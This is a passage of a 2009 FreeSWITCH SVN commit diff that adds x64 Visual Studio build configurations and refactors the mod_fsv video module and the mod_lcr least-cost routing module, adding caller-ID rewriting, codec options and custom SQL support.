+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_fsv -- FS Video File Format
  *
@@ -106,7 +106,9 @@
 	switch_threadattr_t *thd_attr = NULL;
 	int fd;
 	switch_mutex_t *mutex = NULL;
-	switch_codec_t codec, *read_codec, *vid_codec;
+	switch_codec_t codec, *vid_codec;
+	switch_codec_implementation_t read_impl = {0};
+	switch_core_session_get_read_impl(session, &read_impl);
 
 	switch_channel_answer(channel);
 
@@ -117,13 +119,11 @@
 
 	switch_channel_answer(channel);
 
-	read_codec = switch_core_session_get_read_codec(session);
-
 	if (switch_core_codec_init(&codec,
 							   "L16",
 							   NULL,
-							   read_codec->implementation->samples_per_second,
-							   read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
 							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 							   NULL, switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Audio Codec Activation Success\n");
@@ -140,13 +140,13 @@
 		vid_codec = switch_core_session_get_video_read_codec(session);
 
 		h.version = VERSION;
-		h.created = switch_timestamp_now();
+		h.created = switch_micro_time_now();
 		switch_set_string(h.video_codec_name, vid_codec->implementation->iananame);
 		if (vid_codec->fmtp_in) {
 			switch_set_string(h.video_fmtp, vid_codec->fmtp_in);
 		}
-		h.audio_rate = read_codec->implementation->samples_per_second;
-		h.audio_ptime = read_codec->implementation->microseconds_per_packet / 1000;
+		h.audio_rate = read_impl.samples_per_second;
+		h.audio_ptime = read_impl.microseconds_per_packet / 1000;
 
 		if (write(fd, &h, sizeof(h)) != sizeof(h)) {
 			goto end;
@@ -207,7 +207,7 @@
 		}
 	}
 
-	switch_core_session_set_read_codec(session, read_codec);
+	switch_core_session_set_read_codec(session, NULL);
 	switch_core_codec_destroy(&codec);
 
 }
@@ -227,6 +227,8 @@
 	uint32_t ts = 0, last = 0;
 	switch_timer_t timer = { 0 };
 	switch_payload_t pt = 0;
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
 	aud_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
 	vid_buffer = switch_core_session_alloc(session, SWITCH_RECOMMENDED_BUFFER_SIZE);
@@ -263,10 +265,8 @@
 	vid_frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE - 12;
 	switch_set_flag((&vid_frame), SFF_RAW_RTP);
 
-	read_codec = switch_core_session_get_read_codec(session);
-
-	if (switch_core_timer_init(&timer, "soft", read_codec->implementation->microseconds_per_packet / 1000,
-							   read_codec->implementation->samples_per_packet, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
+	if (switch_core_timer_init(&timer, "soft", read_impl.microseconds_per_packet / 1000,
+							   read_impl.samples_per_packet, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Timer Activation Fail\n");
 		goto end;
 	}
@@ -346,11 +346,11 @@
 		switch_core_session_set_read_codec(session, read_codec);
 	}
 
-	if (codec.implementation) {
+	if (switch_core_codec_ready(&codec)) {
 		switch_core_codec_destroy(&codec);
 	}
 
-	if (vid_codec.implementation) {
+	if (switch_core_codec_ready(&vid_codec)) {
 		switch_core_codec_destroy(&vid_codec);
 	}
 

Property changes: freeswitch/branches/seven/src/mod/applications/mod_lcr


Name: svn:ignore
   + Debug
*.pdb
*.user
Release
Win32
x64
Makefile

Deleted: freeswitch/branches/seven/src/mod/applications/mod_lcr/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_lcr/mod_lcr.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,283 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_lcr"
+	ProjectGUID="{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}"
+	RootNamespace="mod_lcr"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_lcr.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_lcr/mod_lcr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -31,11 +31,10 @@
  */
 
 #include <switch.h>
-#include <switch_odbc.h>
 
+#define LCR_SYNTAX "lcr <digits> [<lcr profile>] [caller_id] [intrastate] [as xml]"
+#define LCR_ADMIN_SYNTAX "lcr_admin show profiles"
 
-#define LCR_SYNTAX "lcr <digits> [<lcr profile>]"
-
 /* SQL Query places */
 #define LCR_DIGITS_PLACE 0
 #define LCR_CARRIER_PLACE 1
@@ -46,29 +45,34 @@
 #define LCR_TSTRIP_PLACE 6
 #define LCR_PREFIX_PLACE 7
 #define LCR_SUFFIX_PLACE 8
+#define LCR_CODEC_PLACE 9
+#define LCR_CID_PLACE 10
 
+#define LCR_QUERY_COLS_REQUIRED 9
+#define LCR_QUERY_COLS 11
 
-#define LCR_DIALSTRING_PLACE 3
-#define LCR_HEADERS_COUNT 4
-char headers[LCR_HEADERS_COUNT][32] = {
+#define LCR_HEADERS_COUNT 6
+
+#define LCR_HEADERS_DIGITS 0
+#define LCR_HEADERS_CARRIER 1
+#define LCR_HEADERS_RATE 2
+#define LCR_HEADERS_DIALSTRING 3
+#define LCR_HEADERS_CODEC 4
+#define LCR_HEADERS_CID 5
+
+#define LCR_
+static char headers[LCR_HEADERS_COUNT][32] = {
 	"Digit Match",
 	"Carrier",
 	"Rate",
 	"Dialstring",
+	"Codec",
+	"CID Regexp"
 };
 
 /* sql for random function */
-char *db_random = NULL;
+static char *db_random = NULL;
 
-struct odbc_obj {
-	switch_odbc_handle_t *handle;
-	SQLHSTMT stmt;
-	SQLCHAR *colbuf;
-	int32_t cblen;
-	SQLCHAR *code;
-	int32_t codelen;
-};
-
 struct lcr_obj {
 	char *carrier_name;
 	char *gw_prefix;
@@ -82,6 +86,9 @@
 	size_t lstrip;
 	size_t tstrip;
 	size_t digit_len;
+	char *codec;
+	char *cid;
+	struct lcr_obj *prev;
 	struct lcr_obj *next;
 };
 
@@ -89,12 +96,11 @@
 	size_t carrier_name;
 	size_t digit_str;
 	size_t rate;
+	size_t codec;
+	size_t cid;
 	size_t dialstring;
 };
 
-typedef struct odbc_obj  odbc_obj_t;
-typedef odbc_obj_t *odbc_handle;
-
 typedef struct lcr_obj lcr_obj_t;
 typedef lcr_obj_t *lcr_route;
 
@@ -105,13 +111,31 @@
 	char *name;
 	uint16_t id;
 	char *order_by;
+	char *custom_sql;
+	switch_bool_t custom_sql_has_percent;
+	switch_bool_t custom_sql_has_vars;
+	switch_bool_t profile_has_intrastate;
+	switch_bool_t profile_has_intralata;
+	switch_bool_t profile_has_npanxx;
+	
+	switch_bool_t reorder_by_rate;
+	switch_bool_t quote_in_list;
+	switch_bool_t info_in_headers;
 };
 typedef struct profile_obj profile_t;
 
 struct callback_obj {
 	lcr_route head;
+	switch_hash_t *dedup_hash;
 	int matches;
+	switch_memory_pool_t *pool;
 	char *lookup_number;
+	char *cid;
+	switch_bool_t intrastate;
+	switch_bool_t intralata;
+	profile_t *profile;
+	switch_core_session_t *session;
+	switch_event_t *event;
 };
 typedef struct callback_obj callback_t;
 
@@ -120,6 +144,7 @@
 	char *dbname;
 	char *odbc_dsn;
 	switch_mutex_t *mutex;
+	switch_mutex_t *db_mutex;
 	switch_odbc_handle_t *master_odbc;
 	switch_hash_t *profile_hash;
 	profile_t *default_profile;
@@ -131,44 +156,171 @@
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_lcr_shutdown);
 SWITCH_MODULE_DEFINITION(mod_lcr, mod_lcr_load, mod_lcr_shutdown, NULL);
 
-static char *get_bridge_data(const char *dialed_number, lcr_route cur_route)
+static const char *do_cid(switch_memory_pool_t *pool, const char *cid, const char *number, switch_core_session_t *session)
 {
+	switch_regex_t *re = NULL;
+	int proceed = 0, ovector[30];
+	char *substituted = NULL;
+	uint32_t len = 0;
+	char *src = NULL;
+	char *dst = NULL;
+	char *tmp_regex = NULL;
+	char *src_regex = NULL;
+	char *dst_regex = NULL;
+	switch_channel_t *channel = NULL;
+	
+	if (!switch_strlen_zero(cid)) {
+		len = strlen(cid);
+	} else {
+		goto done;
+	}
+	
+	src = switch_core_strdup(pool, cid);
+	/* check that this is a valid regexp and split the string */
+	
+	if ((src[0] == '/') && src[len-1] == '/') {
+		/* strip leading / trailing slashes */
+		src[len-1] = '\0';
+		src++;
+		
+		/* break on first / */
+		dst = strchr(src, '/');
+		*dst = '\0';
+		dst++;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "src: %s, dst: %s\n", src, dst);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Not a valid regexp: %s\n", src);
+		goto done;
+	}
+
+	/* if a session is provided, check if the source part of the regex has any channel variables, then expand them */
+	if(session) {
+		channel = switch_core_session_get_channel(session);
+		switch_assert(channel);
+
+		if(switch_string_var_check_const(src) || switch_string_has_escaped_data(src)) {
+			tmp_regex = switch_channel_expand_variables(channel, src);
+			src_regex = switch_core_strdup(pool, tmp_regex);
+			switch_safe_free(tmp_regex);
+			src = src_regex;
+		}
+
+		if(switch_string_var_check_const(dst) || switch_string_has_escaped_data(dst)) {
+			tmp_regex = switch_channel_expand_variables(channel, dst);
+			dst_regex = switch_core_strdup(pool, tmp_regex);
+			switch_safe_free(tmp_regex);
+			dst = dst_regex;
+		}
+			
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "expanded src: %s, dst: %s\n", src, dst);
+	}
+  
+	if ((proceed = switch_regex_perform(number, src, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
+		len = (uint32_t) (strlen(src) + strlen(dst) + 10) * proceed; /* guestimate size */
+		if (!(substituted = switch_core_alloc(pool, len))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
+			goto done;
+		}
+		memset(substituted, 0, len);
+		switch_perform_substitution(re, proceed, dst, number, substituted, len, ovector);
+	} else {
+		goto done;
+	}
+
+	switch_regex_safe_free(re);
+	
+	return substituted;
+	
+done:
+	switch_regex_safe_free(re);
+	return number;
+}
+
+static char *get_bridge_data(switch_memory_pool_t *pool, char *dialed_number, char *caller_id, lcr_route cur_route, profile_t *profile, switch_core_session_t *session)
+{
 	size_t lstrip;
 	size_t  tstrip;
 	char *data = NULL;
 	char *destination_number = NULL;
 	char *orig_destination_number = NULL; 
+	char *codec = NULL;
+	char *cid = NULL;
+	char *header = NULL;
 
-	orig_destination_number = destination_number = strdup(dialed_number);
-
+	orig_destination_number = destination_number = switch_core_strdup(pool, dialed_number);
+	
 	tstrip = ((cur_route->digit_len - cur_route->tstrip) + 1);
 	lstrip = cur_route->lstrip;
 	
-	if (strlen(destination_number) > tstrip && cur_route->tstrip > 0) {
-		destination_number[tstrip] = '\0';
+	if (cur_route->tstrip > 0) {
+		if (strlen(destination_number) > tstrip) {
+			destination_number[tstrip] = '\0';
+		}
+		else {
+			destination_number[0] = '\0';
+			       }
+    }
+	if (cur_route->lstrip > 0) {
+		if (strlen(destination_number) > lstrip) {
+			destination_number += lstrip;
+		}
+		else {
+			destination_number[0] = '\0';
+		}
+	}	
+	codec = "";
+	if (!switch_strlen_zero(cur_route->codec)) {
+		codec = switch_core_sprintf(pool, ",absolute_codec_string=%s", cur_route->codec);
 	}
-	if (strlen(destination_number) > lstrip && cur_route->lstrip > 0) {
-		destination_number += lstrip;
+	
+	cid = "";
+	if (!switch_strlen_zero(cur_route->cid)) {
+		cid = switch_core_sprintf(pool, ",origination_caller_id_number=%s", 
+								  do_cid(pool, cur_route->cid, caller_id, session));
 	}
 	
-	data = switch_mprintf("%s%s%s%s%s", cur_route->gw_prefix, cur_route->prefix
-						  , destination_number, cur_route->suffix, cur_route->gw_suffix);
-		
+	header = "";
+	if (profile->info_in_headers) {
+		header = switch_core_sprintf(pool, ",sip_h_X-LCR-INFO=lcr_rate=%s;lcr_carrier=%s",
+									  cur_route->rate_str, 
+									  cur_route->carrier_name);
+	}
+	
+	data = switch_core_sprintf(pool, "[lcr_carrier=%s,lcr_rate=%s%s%s%s]%s%s%s%s%s"
+								, cur_route->carrier_name, cur_route->rate_str
+								, codec, cid, header
+								, cur_route->gw_prefix, cur_route->prefix
+								, destination_number, cur_route->suffix, cur_route->gw_suffix);
+			
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Returning Dialstring %s\n", data);
-	switch_safe_free(orig_destination_number);
 	return data;
 }
 
-void init_max_lens(max_len maxes)
+static profile_t *locate_profile(const char *profile_name)
 {
-	maxes->digit_str = (headers[LCR_DIGITS_PLACE] == NULL ? 0 : strlen(headers[LCR_DIGITS_PLACE]));
-	maxes->carrier_name = (headers[LCR_CARRIER_PLACE] == NULL ? 0 : strlen(headers[LCR_CARRIER_PLACE]));
-	maxes->dialstring = (headers[LCR_DIALSTRING_PLACE] == NULL ? 0 : strlen(headers[LCR_DIALSTRING_PLACE]));
-	maxes->digit_str = (headers[LCR_DIGITS_PLACE] == NULL ? 0 : strlen(headers[LCR_DIGITS_PLACE]));
+	profile_t *profile = NULL;
+	
+	if (switch_strlen_zero(profile_name)) {
+		profile = globals.default_profile;
+	} else if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error invalid profile %s\n", profile_name);
+	}
+	
+	return profile;
+}
+
+
+static void init_max_lens(max_len maxes)
+{
+	maxes->digit_str = (headers[LCR_HEADERS_DIGITS] == NULL ? 0 : strlen(headers[LCR_HEADERS_DIGITS]));
+	maxes->carrier_name = (headers[LCR_HEADERS_CARRIER] == NULL ? 0 : strlen(headers[LCR_HEADERS_CARRIER]));
+	maxes->dialstring = (headers[LCR_HEADERS_DIALSTRING] == NULL ? 0 : strlen(headers[LCR_HEADERS_DIALSTRING]));
 	maxes->rate = 8;
+	maxes->codec = (headers[LCR_HEADERS_CODEC] == NULL ? 0 : strlen(headers[LCR_HEADERS_CODEC]));
+	maxes->cid = (headers[LCR_HEADERS_CID] == NULL ? 0 : strlen(headers[LCR_HEADERS_CID]));
 }
 
-switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, char *destination_number)
+static switch_status_t process_max_lengths(max_obj_t *maxes, lcr_route routes, char *destination_number)
 {
 	lcr_route current = NULL;
 
@@ -209,33 +361,50 @@
 				maxes->rate = this_len;
 			}
 		}
+		if (current->codec != NULL) {
+			this_len= strlen(current->codec);
+			if (this_len > maxes->codec) {
+				maxes->codec = this_len;
+			}
+		}
+		if (current->cid != NULL) {
+			this_len = strlen(current->cid);
+			if (this_len > maxes->cid) {
+				maxes->cid = this_len;
+			}
+		}
 	}
 	return SWITCH_STATUS_SUCCESS;
 }
 
-/* try each type of random until we suceed */
-static switch_bool_t set_db_random()
+static switch_bool_t db_check(char *sql)
 {
-	char *sql = NULL;
 	if (globals.odbc_dsn) {
-		sql = "SELECT * FROM lcr ORDER BY rand() LIMIT 1";
-		if(switch_odbc_handle_exec(globals.master_odbc, sql, NULL)
-				== SWITCH_ODBC_SUCCESS) {
-			db_random = "rand()";
+		if (switch_odbc_handle_exec(globals.master_odbc, sql, NULL) == SWITCH_ODBC_SUCCESS) {
 			return SWITCH_TRUE;
 		}
-		sql = "SELECT * FROM lcr ORDER BY random() LIMIT 1";
-		if(switch_odbc_handle_exec(globals.master_odbc, sql, NULL)
-				== SWITCH_ODBC_SUCCESS) {
-			db_random = "random()";
-			return SWITCH_TRUE;
-		}
 	}
+	
 	return SWITCH_FALSE;
 }
 
+/* try each type of random until we suceed */
+static switch_bool_t set_db_random()
+{
+	if (db_check("SELECT rand();") == SWITCH_TRUE) {
+		db_random = "rand()";
+		return SWITCH_TRUE;
+	}
+	if(db_check("SELECT random();") == SWITCH_TRUE) {
+		db_random = "random()";
+		return SWITCH_TRUE;
+	}
+	
+	return SWITCH_FALSE;
+}
+
 /* make a new string with digits only */
-static char *string_digitsonly(const char *str) 
+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str) 
 {
 	char *p, *np, *newstr;
 	size_t len;
@@ -243,11 +412,11 @@
 	p = (char *)str;
 
 	len = strlen(str);
-	switch_zmalloc(newstr, len+1); /* worst case, same string */
+	newstr = switch_core_alloc(pool, len+1);
 	np = newstr;
 	
 	while(*p) {
-		if(switch_isdigit(*p)) {
+		if (switch_isdigit(*p)) {
 			*np = *p;
 			np++;
 		}
@@ -258,139 +427,402 @@
 	return newstr;
 }
 
+/* escape sql */
+#ifdef _WAITING_FOR_ESCAPE
+static char *escape_sql(const char *sql)
+{
+	return switch_string_replace(sql, "'", "''");
+}
+#endif
+
+/* expand the digits */
+static char *expand_digits(switch_memory_pool_t *pool, char *digits, switch_bool_t quote)
+{
+	switch_stream_handle_t dig_stream = { 0 };
+	char *ret;
+	char *digits_copy;
+	int n;
+	int digit_len;
+	SWITCH_STANDARD_STREAM(dig_stream);
+
+	digit_len = strlen(digits);
+	digits_copy = switch_core_strdup(pool, digits);
+	
+	for (n = digit_len; n > 0; n--) {
+		digits_copy[n] = '\0';
+		dig_stream.write_function(&dig_stream, "%s%s%s%s", 
+									(n==digit_len ? "" : ", "), 
+									(quote ? "'" : ""),
+									digits_copy,
+									(quote ? "'" : ""));
+	}
+
+	ret = switch_core_strdup(pool, dig_stream.data);
+	switch_safe_free(dig_stream.data);
+	return ret;
+}
+
+/* format the custom sql */
+static char *format_custom_sql(const char *custom_sql, callback_t *cb_struct, const char *digits)
+{
+	char * tmpSQL = NULL;
+	char * newSQL = NULL;
+	switch_channel_t *channel;
+	
+	/* first replace %s with digits to maintain backward compat */
+	if (cb_struct->profile->custom_sql_has_percent == SWITCH_TRUE) {
+		tmpSQL = switch_string_replace(custom_sql, "%q", digits);
+		newSQL = tmpSQL;
+	}
+	
+	/* expand the vars */
+	if (cb_struct->profile->custom_sql_has_vars == SWITCH_TRUE) {
+		if (cb_struct->session) {
+			channel = switch_core_session_get_channel(cb_struct->session);
+			switch_assert(channel);
+			/*
+			newSQL = switch_channel_expand_variables_escape(channel, 
+															tmpSQL ? tmpSQL : custom_sql,
+															escape_sql);
+			*/
+			newSQL = switch_channel_expand_variables(channel, 
+														tmpSQL ? tmpSQL : custom_sql);
+		} else if (cb_struct->event) {
+			/* use event system to expand vars */
+			newSQL = switch_event_expand_headers(cb_struct->event, tmpSQL ? tmpSQL : custom_sql);
+			
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
+								"mod_lcr called without a valid session while using a custom_sql that has channel variables.\n");
+		}
+	}
+	
+	if (tmpSQL != newSQL) {
+		switch_safe_free(tmpSQL);
